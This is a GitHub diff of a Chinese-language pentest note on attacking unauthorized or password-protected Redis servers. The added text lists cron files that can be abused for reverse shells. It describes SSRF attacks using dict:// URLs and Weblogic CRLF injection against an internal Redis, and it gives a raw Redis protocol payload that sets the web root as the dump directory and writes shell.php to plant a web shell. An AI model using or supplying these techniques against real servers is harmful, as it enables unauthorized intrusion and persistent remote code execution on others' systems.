File tree Expand file tree Collapse file tree 1 file changed +60
-2
lines changed Expand file tree Collapse file tree 1 file changed +60
-2
lines changed Original file line number Diff line number Diff line change 58
58
59
59
60
60
61
- tips:** crontab反弹debian,ubuntu都不行** ,因为他们对计划任务的格式很严格,必须要执行 ` crontab -u root /var/spool/cron/crontabs/root ` 通过语法检查后,才能执行计划任务。
61
+ tips:** crontab反弹debian,ubuntu都不行** ,因为他们对计划任务的格式很严格,必须要执行 ` crontab -u root /var/spool/cron/crontabs/root ` 通过语法检查后,才能执行计划任务。
62
+
63
+ 最后补充一下,可进行利用的cron有如下几个地方:
64
+
65
+ - /etc/crontab 这个是肯定的
66
+ - /etc/cron.d/* 将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell。
67
+ - /var/spool/cron/root centos系统下root用户的cron文件
68
+ - /var/spool/cron/crontabs/root debian系统下root用户的cron文件
62
69
63
70
64
71
@@ -160,7 +167,8 @@ https://github.com/learner-ing/redis-rce
160
167
161
168
# Other
162
169
163
- ssrf 攻击redis
170
+ ## ssrf 攻击未授权访问redis
171
+
164
172
```
165
173
# 清空 key
166
174
dict://172.72.23.27:6379/flushall
@@ -179,6 +187,54 @@ dict://172.72.23.27:6379/save
179
187
180
188
```
181
189
190
+ 如果是Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入%0a%0d来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。见ref
191
+
192
+
193
+
194
+ ## ssrf 攻击需要验证redis
195
+ 可以看到每行都是以\r结尾的,但是 Redis 的协议是以 CRLF (\r\n)结尾,所以转换的时候需要把\r转换为\r\n,然后其他全部进行 两次 URL 编码
196
+ ```
197
+ *2\r
198
+ $4\r
199
+ auth\r
200
+ $8\r
201
+ P@ssw0rd\r
202
+ *1\r
203
+ $8\r
204
+ flushall\r
205
+ *4\r
206
+ $6\r
207
+ config\r
208
+ $3\r
209
+ set\r
210
+ $3\r
211
+ dir\r
212
+ $13\r
213
+ /var/www/html\r
214
+ *4\r
215
+ $6\r
216
+ config\r
217
+ $3\r
218
+ set\r
219
+ $10\r
220
+ dbfilename\r
221
+ $9\r
222
+ shell.php\r
223
+ *3\r
224
+ $3\r
225
+ set\r
226
+ $1\r
227
+ x\r
228
+ $25\r
229
+
230
+
231
+ \r
232
+ *1\r
233
+ $4\r
234
+ save\r
235
+
236
+ ```
237
+
182
238
183
239
184
240
@@ -188,3 +244,5 @@ dict://172.72.23.27:6379/save
188
244
# References
189
245
- https://djhons.com/2021/10/29/61.html
190
246
- https://www.anquanke.com/post/id/214108
247
+ - https://github.com/vulhub/vulhub/tree/master/weblogic/ssrf
248
+ - https://www.sqlsec.com/2021/05/ssrf.html#toc-heading-25
You can’t perform that action at this time.
0 commit comments